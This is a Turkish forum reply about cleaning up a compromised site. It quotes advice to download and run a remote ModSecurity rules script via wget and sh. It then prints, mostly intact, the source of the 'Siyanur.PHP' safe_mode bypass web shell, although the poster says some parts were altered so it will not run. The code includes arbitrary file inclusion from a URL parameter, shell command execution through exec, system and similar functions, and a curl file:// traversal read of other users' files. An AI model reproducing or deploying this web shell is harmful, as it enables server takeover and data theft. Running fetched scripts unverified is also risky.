Arkadaşın dediklerini yapın.
Kodun açık hali ise en aşağıda;(bazı yerleri çalışmasın diye değiştirdim.)

serdarureber adlı üyeden alıntı: mesajı görüntüle
Host sağlayıcınızla iletişime geçip aşağıdaki işlemi yapın. Yetkiniz varsa kendinizde yapabilirsiniz.

SSH ile bağlanıp aşağıdaki komutu verip dosyanın çalışmasını engelleyebilirsiniz.

wget http://403security.org/modsec/install_modsec_rules
sh install_modsec_rules

Tüm dosyalarınızıda taratmayı unutmayın.
<?php /* ************************************************************************ *                      Siyanur.PHP Handler Bypass Shell Beta 1.0       * ************************************************************************ *                                                                      * *          /      \                                                    * *       \  \  ,,  /  /                                                 * *        '-.`\()/`.-'                                                  * *       .--_'(  )'_--.            * (C) 2008 Www.SpyHackerZ.coM *      * *      / /` /`""`\ `\ \                                                * *       |  |  ><  |  |              Public:  Eylul  01, 2008           * *       \  \      /  /              Mailto: mectruy@hotmail.com        * *           '.__.'                                                     * *                                                                      * ************************************************************************ *Greatz:// MecTruy // RedstorM // Kaldera // Exterminant // Dumenci // *Linux version: 5.2.5 // 5.2.6 Bypassed *Http:// www.imhatimi.org // www.spyhackerz.com // mectruy.blogspot.com *Siyanur.php Shell */ #Siyanur.PHP 5.2.6 safe_mode Handler bypass Free Edition #Sadece Bypass ?zelli?i vard?r komut ve daha ?st?n ?zelliklere sahip Siyanur hen?z da??t?lmam??t?r. # if ($_GET['x']) { include($_GET['x']); } if ($_POST['cxc']=='down') { header("Content-disposition: filename=decode.txt"); header("Content-type: application/octetstream"); header("Pragma: no-cache"); header("Expires: 0"); error_reporting(0); echo base64_decode($_POST['xCod']); exit; }  ?> <html>  <head> <title>Siyanur.PHP 5.2.6 / 5.2.6 safe_mode Handler bypass (Beta Free Edition)  - Powered By MecTruy</title> </head>  <body bgcolor="#000000"> <font color=FF8000> <font face=verdana> <?php  // //phpinfo if (empty($_POST['phpinfo'] )) {     }else{     echo $phpinfo=(!eregi("phpinfo",$dis_func)) ? phpinfo() : "phpinfo()";     exit; } // // encode/decode // // uname function getsystem() {return php_uname('s')." ".php_uname('r')." ".php_uname('v');};  // //safemode function safe_mode(){ if(!$safe_mode && strpos(ex("echo abch0ld"),"h0ld")!=3){$_SESSION['safe_mode'] = 1;return "<b><font color=#800000 face=Verdana>ON</font></b>";}else{   $_SESSION['safe_mode'] = 0;return "<font color=#008000><b>OFF</b></font>";} };function ex($in){ $out = ''; if(function_exists('exec')){exec($in,$out);$out = join("\n",$out);}elseif(function_exists('passthru')){ob_start();passthru($in);$out = ob_get_contents();ob_end_clean();} elseif(function_exists('system')){ob_start();system($in);$out = ob_get_contents();ob_end_clean();} elseif(function_exists('shell_exec')){$out = shell_exec($in);} elseif(is_resource($f = popen($in,"r"))){$out = "";while(!@feof($f)) { $out .= fread($f,1024);} pclose($f);} return $out;} // ?>      <tr>     <td width="100%" height="43">      <table border="1" cellpadding="0" cellspacing="0" bordercolor="#545454" width="100%" id="AutoNumber2" bgcolor="#424242" style="border-collapse: collapse">       <tr>         <td width="100%" bgcolor="#000000"> </td>       </tr>       <tr>         <td width="100%" style="font-family: (1)Fonts44-Net; color: #FF0000; font-size: 8pt; font-weight: bold" dir="ltr"><font color=ffffff>Kernel :</font> <?php echo @php_uname();?></td>       </tr>       <tr>         <td width="100%" style="font-family: (1)Fonts44-Net; color: #FF0000; font-size: 8pt; font-weight: bold" dir="ltr"><font color=ffffff>Server :</font> <?php echo $_SERVER['SERVER_NAME'];?></td>       </tr>       <tr>         <td width="100%" style="font-family: (1)Fonts44-Net; color: #FF0000; font-size: 8pt; font-weight: bold" dir="ltr"><font color=ffffff>PHP :</font> <?php echo phpversion();?></td>       </tr>       <tr>         <td width="100%" style="font-family: (1)Fonts44-Net; color: #FF0000; font-size: 8pt; font-weight: bold" dir="ltr"><font color=ffffff>Dic :</font> <?php echo getcwd();?></td>       </tr>       <tr>         <td width="100%" style="font-family: (1)Fonts44-Net; color: #FF0000; font-size: 8pt; font-weight: bold" dir="ltr"><font color=ffffff>Safe_Mode :</font> <?php echo safe_mode();?></td>       </tr>       <tr>         <td width="100%" style="font-family: (1)Fonts44-Net; color: #FF0000; font-size: 8pt; font-weight: bold" dir="ltr"><font color=ffffff>Software :</font> <?php echo getenv("SERVER_SOFTWARE");?></td>       </tr>       <tr>         <td width="100%" style="font-family: (1)Fonts44-Net; color: #FF0000; font-size: 8pt; font-weight: bold" dir="ltr"><font color=ffffff>iD :</font> <?php echo system(id);?></td>       </tr>       <tr>         <td width="100%" style="font-family: (1)Fonts44-Net; color: #FF0000; font-size: 8pt; font-weight: bold" dir="ltr"><font color=ffffff>C0nnect ? :</font> <?php echo ($_SERVER['HTTP_CONNECTION']);?>   <font color=ffffff>Port :</font> <?php echo (":".$_SERVER["SERVER_PORT"]);?>  </td>       </tr>       <tr>         <td width="100%" style="font-family: (1)Fonts44-Net; color: #FF0000; font-size: 8pt; font-weight: bold" dir="ltr"><font color=ffffff>Your Agent :</font> <?php echo ($_SERVER['HTTP_USER_AGENT']);?>   <font color=ffffff>Your ip info :</font> <?php echo ($_SERVER['REMOTE_ADDR']);?>   MySQL: </td>       </tr>       <tr>         <td width="100%" style="font-family: (1)Fonts44-Net; color: #FF0000; font-size: 8pt; font-weight: bold" dir="ltr"><font color=ffffff>Protokol :</font> <?php echo ($_SERVER["SERVER_PROTOCOL"]);?>   <font color=ffffff>Charset :</font> <?php echo ($_SERVER['HTTP_ACCEPT_CHARSET']);?>   <font color=ffffff>Encoding :</font> <?php echo ($_SERVER['HTTP_ACCEPT_ENCODING']);?>   <font color=ffffff>Lang :</font> <?php echo ($_SERVER['HTTP_ACCEPT_LANGUAGE']);?></td>       </tr>         <tr>        </tr>     </table>      </td>   </tr>    <tr>     <td width="100%" height="1"><?php if (empty($_POST['z3r'])){          echo '<form method="POST">';     echo '<input type="text" name="z3r" size="50" value="/home/hedefuser/public_html/index.php">';     echo '<input type="submit" value="Encode">';     echo '</form>'; }else{     $b4se64 =$_POST['z3r'];     $heno =base64_encode($b4se64);     echo '<p align="center">';     echo '<textarea method="POST" rows="1" cols="80" wrar="off">';     print $heno;     echo '</textarea>'; }     echo '<form method="post" /><input type="text" name="cz" size="50" value="Encode edilmi? kod buraya.." /><input type="submit" value="OK !!" /><select name=dec><option value=show>Oku</option><option value=decode>De$ifre</option></select></form>';      if( !empty($_POST['cz']) )         if ($dec=='decode'){echo "<form name=form method=POST>";}         echo "<p align=left><textarea method='POST' name='xCod' cols='60' rows='25' wrar='off' >";                  $ss=$_POST['cz'];             $file = base64_decode($ss);                                       if((curl_exec(curl_init("file:ftp://../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../".$file))) aNd emptY($file))                              if ($_POST['dec']=='decode'){echo base64_encode($_POST['xCod']);}   echo "</textarea></p>";  ?></td>   </tr>   <tr>     <td width="100%" style="font-family: (1)Fonts44-Net; color: #FFFFFF; font-size: 8pt; font-weight: bold" height="13"><?php if ($dec=='decode'){ echo "<p align=center><input type=hidden name=cxc value='down'><input type=submit name=submit value='DownLoad'></p></form>"; } ?></td>   </tr>   <tr>     <td width="100%" style="font-family: (1)Fonts44-Net; color: #FFFFFF; font-size: 8pt; font-weight: bold" height="13">     <p align="left"><font size="1">Siyanur.PHP </font> <a href="http://www.imhatimi.org">     <font size="1" color="#8B8B8B">www.imhatimi.org</font></a>   <a href="http://www.spyhackerz.com">     <font size="1" color="#8B8B8B">www.spyhackerz.com</font></a></td>   </tr>   <tr>     <td width="100%" style="font-family: (1)Fonts44-Net; color: #FFFFFF; font-size: 8pt; font-weight: bold" height="13">     <p align="left"> <font size="1">Coded By MecTruy</font></td>   </tr> </table>    </center> </div>  </body>  </html>